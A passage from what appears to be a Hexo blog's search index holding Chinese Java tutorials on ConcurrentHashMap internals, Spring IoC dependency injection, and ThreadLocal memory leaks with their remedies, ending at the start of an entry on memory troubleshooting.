class="comment">// 使用Unsafe直接内存访问</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> &lt;K,V&gt; Node&lt;K,V&gt; <span class="title function_">tabAt</span><span class="params">(Node&lt;K,V&gt;[] tab, <span class="type">int</span> i)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (Node&lt;K,V&gt;)U.getObjectVolatile(tab, ((<span class="type">long</span>)i &lt;&lt; ASHIFT) + ABASE);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-synchronized-只锁定头节点"><a href="#2-synchronized-只锁定头节点" class="headerlink" title="2. synchronized 只锁定头节点"></a>2. synchronized 只锁定头节点</h2><p>相比 JDK 7 的 Segment 锁，粒度更细，并发度更高。</p><p>#</p><h2 id="3-链表转红黑树"><a href="#3-链表转红黑树" class="headerlink" title="3. 链表转红黑树"></a>3. 链表转红黑树</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">TREEIFY_THRESHOLD</span> <span class="operator">=</span> <span class="number">8</span>;   <span class="comment">// 链表长度&gt;=8转树</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">UNTREEIFY_THRESHOLD</span> <span class="operator">=</span> <span class="number">6</span>; <span class="comment">// 树节点&lt;=6转链表</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-扩容优化"><a href="#4-扩容优化" class="headerlink" title="4. 扩容优化"></a>4. 扩容优化</h2><ul><li>支持多线程协助扩容（<code>helpTransfer</code>）</li><li>渐进式扩容，不阻塞读操作</li></ul><h2 id="使用注意事项"><a href="#使用注意事项" class="headerlink" title="使用注意事项"></a>使用注意事项</h2><p>#</p><h2 id="1-不支持-null"><a href="#1-不支持-null" class="headerlink" title="1. 不支持 null"></a>1. 不支持 null</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">map.put(<span class="string">&quot;key&quot;</span>, <span class="literal">null</span>);   <span class="comment">// NullPointerException</span></span><br><span class="line">map.put(<span class="literal">null</span>, <span class="string">&quot;value&quot;</span>); <span class="comment">// NullPointerException</span></span><br></pre></td></tr></table></figure><p><strong>原因</strong>：无法区分”key 不存在”和”key 对应的 value 为 null”。</p><p>#</p><h2 id="2-size-是估计值"><a href="#2-size-是估计值" class="headerlink" title="2. size() 是估计值"></a>2. size() 是估计值</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 弱一致性，可能读到旧值</span></span><br><span class="line"><span class="type">int</span> <span class="variable">size</span> <span class="operator">=</span> map.size();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-复合操作非原子"><a href="#3-复合操作非原子" class="headerlink" title="3. 复合操作非原子"></a>3. 复合操作非原子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！不是原子操作</span></span><br><span class="line"><span class="keyword">if</span> (!map.containsKey(key)) &#123;</span><br><span class="line">    map.put(key, value);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：使用putIfAbsent</span></span><br><span class="line">map.putIfAbsent(key, value);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或computeIfAbsent</span></span><br><span class="line">map.computeIfAbsent(key, k -&gt; createValue());</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-遍历是弱一致性"><a href="#4-遍历是弱一致性" class="headerlink" title="4. 遍历是弱一致性"></a>4. 遍历是弱一致性</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (Map.Entry&lt;String, String&gt; entry : map.entrySet()) &#123;</span><br><span class="line">    <span class="comment">// 可能读到其他线程正在插入的数据</span></span><br><span class="line">    <span class="comment">// 也可能读不到其他线程已插入的数据</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. 使用computeIfAbsent（原子且高效）</span></span><br><span class="line">map.computeIfAbsent(key, k -&gt; <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;()).add(value);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 使用merge更新值</span></span><br><span class="line">map.merge(key, <span class="number">1</span>, Integer::sum);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 批量操作使用并行流</span></span><br><span class="line">ConcurrentHashMap&lt;String, Integer&gt; result = list.parallelStream()</span><br><span class="line">    .collect(Collectors.toConcurrentMap(</span><br><span class="line">        Function.identity(),</span><br><span class="line">        s -&gt; <span class="number">1</span>,</span><br><span class="line">        Integer::sum</span><br><span class="line">    ));</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>版本</th><th>锁机制</th><th>并发度</th><th>特点</th></tr></thead><tbody><tr><td>JDK 7</td><td>Segment（16个）</td><td>16</td><td>分段锁</td></tr><tr><td>JDK 8</td><td>synchronized（槽位级）</td><td>槽位数</td><td>更细粒度</td></tr></tbody></table><p>ConcurrentHashMap 通过精巧的设计，在保证线程安全的同时实现了极高的并发性能，是并发场景下 Map 的首选实现。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器到底解决了什么"><a href="#Spring-IoC-容器到底解决了什么" class="headerlink" title="Spring IoC 容器到底解决了什么"></a>Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal的使用和内存泄漏</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal的使用和内存泄漏"><a href="#ThreadLocal的使用和内存泄漏" class="headerlink" title="ThreadLocal的使用和内存泄漏"></a>ThreadLocal的使用和内存泄漏</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="ThreadLocal-的基本用法"><a href="#ThreadLocal-的基本用法" class="headerlink" title="ThreadLocal 的基本用法"></a>ThreadLocal 的基本用法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserContext</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;User&gt; currentUser = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        currentUser.set(user);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> User <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> currentUser.get();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">remove</span><span class="params">()</span> &#123;</span><br><span class="line">        currentUser.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line">UserContext.set(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;张三&quot;</span>));</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> UserContext.get();  <span class="comment">// 获取当前线程的用户</span></span><br><span class="line">UserContext.remove();           <span class="comment">// 清理</span></span><br></pre></td></tr></table></figure><h2 id="典型应用场景"><a href="#典型应用场景" class="headerlink" title="典型应用场景"></a>典型应用场景</h2><p>#</p><h2 id="1-用户登录信息传递"><a href="#1-用户登录信息传递" class="headerlink" title="1. 用户登录信息传递"></a>1. 用户登录信息传递</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthInterceptor</span> <span class="keyword">implements</span> <span class="title class_">HandlerInterceptor</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">preHandle</span><span class="params">(HttpServletRequest req, HttpServletResponse res, Object handler)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">token</span> <span class="operator">=</span> req.getHeader(<span class="string">&quot;Authorization&quot;</span>);</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> authService.validate(token);</span><br><span class="line">        UserContext.set(user);  <span class="comment">// 绑定到当前线程</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterCompletion</span><span class="params">(...)</span> &#123;</span><br><span class="line">        UserContext.remove();  <span class="comment">// 请求结束，清理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-数据库连接管理"><a href="#2-数据库连接管理" class="headerlink" title="2. 数据库连接管理"></a>2. 数据库连接管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionManager</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;Connection&gt; holder = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Connection <span class="title function_">getConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> holder.get();</span><br><span class="line">        <span class="keyword">if</span> (conn == <span class="literal">null</span>) &#123;</span><br><span class="line">            conn = dataSource.getConnection();</span><br><span class="line">            holder.set(conn);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> conn;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-SimpleDateFormat-线程安全"><a href="#3-SimpleDateFormat-线程安全" class="headerlink" title="3. SimpleDateFormat 线程安全"></a>3. SimpleDateFormat 线程安全</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DateUtil</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;SimpleDateFormat&gt; formatter = </span><br><span class="line">        ThreadLocal.withInitial(() -&gt; <span class="keyword">new</span> <span class="title class_">SimpleDateFormat</span>(<span class="string">&quot;yyyy-MM-dd&quot;</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">format</span><span class="params">(Date date)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> formatter.get().format(date);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Java 8+ 推荐</strong>：使用 <code>DateTimeFormatter</code>，它是线程安全的。</p><h2 id="底层实现原理"><a href="#底层实现原理" class="headerlink" title="底层实现原理"></a>底层实现原理</h2><p>#</p><h2 id="Thread-内部结构"><a href="#Thread-内部结构" class="headerlink" title="Thread 内部结构"></a>Thread 内部结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Thread</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">    ThreadLocal.<span class="type">ThreadLocalMap</span> <span class="variable">threadLocals</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>每个 Thread 对象内部维护一个 <code>ThreadLocalMap</code>。</p><p>#</p><h2 id="ThreadLocalMap"><a href="#ThreadLocalMap" class="headerlink" title="ThreadLocalMap"></a>ThreadLocalMap</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">ThreadLocalMap</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Entry</span> <span class="keyword">extends</span> <span class="title class_">WeakReference</span>&lt;ThreadLocal&lt;?&gt;&gt; &#123;</span><br><span class="line">        Object value;  <span class="comment">// 强引用！</span></span><br><span class="line">        </span><br><span class="line">        Entry(ThreadLocal&lt;?&gt; k, Object v) &#123;</span><br><span class="line">            <span class="built_in">super</span>(k);</span><br><span class="line">            value = v;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> Entry[] table;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键设计</strong>：</p><ul><li><strong>Key 是弱引用</strong>：<code>ThreadLocal</code> 对象可以被 GC 回收</li><li><strong>Value 是强引用</strong>：即使 Key 被回收，Value 仍然存在</li></ul><h2 id="内存泄漏原因"><a href="#内存泄漏原因" class="headerlink" title="内存泄漏原因"></a>内存泄漏原因</h2><p>#</p><h2 id="泄漏场景"><a href="#泄漏场景" class="headerlink" title="泄漏场景"></a>泄漏场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 线程池环境</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">pool</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line"></span><br><span class="line">pool.submit(() -&gt; &#123;</span><br><span class="line">    ThreadLocal&lt;<span class="type">byte</span>[]&gt; local = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">    local.set(<span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span> * <span class="number">1024</span> * <span class="number">100</span>]);  <span class="comment">// 100MB</span></span><br><span class="line">    <span class="comment">// 业务逻辑...</span></span><br><span class="line">    <span class="comment">// 忘记 remove()！</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ol><li><code>ThreadLocal</code> 引用被释放（方法结束，局部变量）</li><li>但线程池中的线程不会销毁</li><li><code>ThreadLocalMap</code> 中的 Entry：Key 为 null（弱引用被回收），Value 仍为 100MB</li><li>线程一直存活，Value 一直无法释放</li></ol><p>#</p><h2 id="图解"><a href="#图解" class="headerlink" title="图解"></a>图解</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Thread（线程池线程，长期存活）</span><br><span class="line">  └── ThreadLocalMap</span><br><span class="line">        ├── Entry[0]: Key=null（弱引用已回收）, Value=100MB ← 泄漏！</span><br><span class="line">        ├── Entry[1]: Key=ThreadLocal@xxx, Value=...</span><br><span class="line">        └── ...</span><br></pre></td></tr></table></figure><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>#</p><h2 id="1-及时-remove"><a href="#1-及时-remove" class="headerlink" title="1. 及时 remove()"></a>1. 及时 remove()</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    threadLocal.set(value);</span><br><span class="line">    <span class="comment">// 业务逻辑</span></span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    threadLocal.remove();  <span class="comment">// 必须清理</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-使用-try-with-resources-模式"><a href="#2-使用-try-with-resources-模式" class="headerlink" title="2. 使用 try-with-resources 模式"></a>2. 使用 try-with-resources 模式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoCloseableThreadLocal</span>&lt;T&gt; <span class="keyword">extends</span> <span class="title class_">ThreadLocal</span>&lt;T&gt; </span><br><span class="line">    <span class="keyword">implements</span> <span class="title class_">AutoCloseable</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">close</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="keyword">try</span> (AutoCloseableThreadLocal&lt;User&gt; tl = <span class="keyword">new</span> <span class="title class_">AutoCloseableThreadLocal</span>&lt;&gt;()) &#123;</span><br><span class="line">    tl.set(<span class="keyword">new</span> <span class="title class_">User</span>());</span><br><span class="line">    <span class="comment">// 自动调用 remove()</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-使用-InheritableThreadLocal（父子线程传递）"><a href="#3-使用-InheritableThreadLocal（父子线程传递）" class="headerlink" title="3. 使用 InheritableThreadLocal（父子线程传递）"></a>3. 使用 InheritableThreadLocal（父子线程传递）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 子线程继承父线程的 ThreadLocal 值</span></span><br><span class="line">InheritableThreadLocal&lt;String&gt; inheritable = <span class="keyword">new</span> <span class="title class_">InheritableThreadLocal</span>&lt;&gt;();</span><br><span class="line">inheritable.set(<span class="string">&quot;父线程的值&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    System.out.println(inheritable.get());  <span class="comment">// &quot;父线程的值&quot;</span></span><br><span class="line">&#125;).start();</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：线程池中使用 <code>InheritableThreadLocal</code> 需要配合 <code>TransmittableThreadLocal</code>（阿里开源）。</p><h2 id="ThreadLocalMap-的清理机制"><a href="#ThreadLocalMap-的清理机制" class="headerlink" title="ThreadLocalMap 的清理机制"></a>ThreadLocalMap 的清理机制</h2><p>#</p><h2 id="线性探测-清理"><a href="#线性探测-清理" class="headerlink" title="线性探测 + 清理"></a>线性探测 + 清理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="title function_">expungeStaleEntry</span><span class="params">(<span class="type">int</span> staleSlot)</span> &#123;</span><br><span class="line">    Entry[] tab = table;</span><br><span class="line">    <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> tab.length;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 清除当前slot</span></span><br><span class="line">    tab[staleSlot].value = <span class="literal">null</span>;</span><br><span class="line">    tab[staleSlot] = <span class="literal">null</span>;</span><br><span class="line">    size--;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 重新哈希后续entry</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="触发时机"><a href="#触发时机" class="headerlink" title="触发时机"></a>触发时机</h2><ol><li><strong>set() 时</strong>：发现 Key 为 null 的 Entry，清理</li><li><strong>get() 时</strong>：探测过程中清理遇到的过期 Entry</li><li><strong>remove() 时</strong>：主动清理</li><li><strong>扩容时</strong>：全表扫描清理</li></ol><p><strong>问题</strong>：只有当再次访问 ThreadLocal 时才会清理，如果一直不访问，泄漏的 Value 一直存在。</p><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><p>#</p><h2 id="1-始终在使用后-remove"><a href="#1-始终在使用后-remove" class="headerlink" title="1. 始终在使用后 remove()"></a>1. 始终在使用后 remove()</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">    context.set(user);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        doWork();</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        context.remove();  <span class="comment">// 确保清理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-使用静态-ThreadLocal"><a href="#2-使用静态-ThreadLocal" class="headerlink" title="2. 使用静态 ThreadLocal"></a>2. 使用静态 ThreadLocal</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 推荐</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;User&gt; context = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不推荐：每个实例创建一个</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> ThreadLocal&lt;User&gt; context = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-注意线程池环境"><a href="#3-注意线程池环境" class="headerlink" title="3. 注意线程池环境"></a>3. 注意线程池环境</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Spring 的 @Async 线程池</span></span><br><span class="line"><span class="meta">@Async(&quot;taskExecutor&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">asyncTask</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> UserContext.get();</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        UserContext.remove();  <span class="comment">// 必须清理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-考虑使用替代方案"><a href="#4-考虑使用替代方案" class="headerlink" title="4. 考虑使用替代方案"></a>4. 考虑使用替代方案</h2><table><thead><tr><th>场景</th><th>替代方案</th></tr></thead><tbody><tr><td>请求上下文</td><td>方法参数传递</td></tr><tr><td>日期格式化</td><td>DateTimeFormatter</td></tr><tr><td>随机数</td><td>ThreadLocalRandom</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>要点</th><th>说明</th></tr></thead><tbody><tr><td>原理</td><td>Thread 内部维护 ThreadLocalMap</td></tr><tr><td>Key</td><td>弱引用，可被 GC</td></tr><tr><td>Value</td><td>强引用，是泄漏根源</td></tr><tr><td>预防</td><td>使用完必须 remove()</td></tr><tr><td>高危场景</td><td>线程池 + 大对象</td></tr></tbody></table><p>ThreadLocal 是强大的工具，但在线程池环境下必须谨慎使用。记住：<strong>每次 set() 后，都要有对应的 remove()</strong>。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
